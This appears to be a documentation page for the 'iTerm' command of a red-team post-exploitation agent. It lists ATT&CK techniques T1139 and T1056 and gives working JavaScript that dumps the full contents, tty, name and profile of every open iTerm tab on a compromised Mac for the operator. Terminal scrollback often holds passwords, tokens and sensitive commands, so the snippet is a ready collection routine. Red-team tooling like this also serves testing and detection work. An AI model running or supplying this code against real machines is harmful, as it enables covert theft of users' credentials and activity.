Summary
Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it’s not currently running- Needs Admin: False
- Version: 1
- Author: @its_a_feature_
Arguments
Usage
MITRE ATT&CK Mapping
- T1139
- T1056
Documentation Index
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it’s not currently running
iTerm
if(term.running()){
for(let i = 0; i < term.windows.length; i++){
let window = {};
for(let j = 0; j < term.windows[i].tabs.length; j++){
let tab_info = {};
tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
window["Tab: " + j] = tab_info;
}
output["Window: " + i] = window;
}
}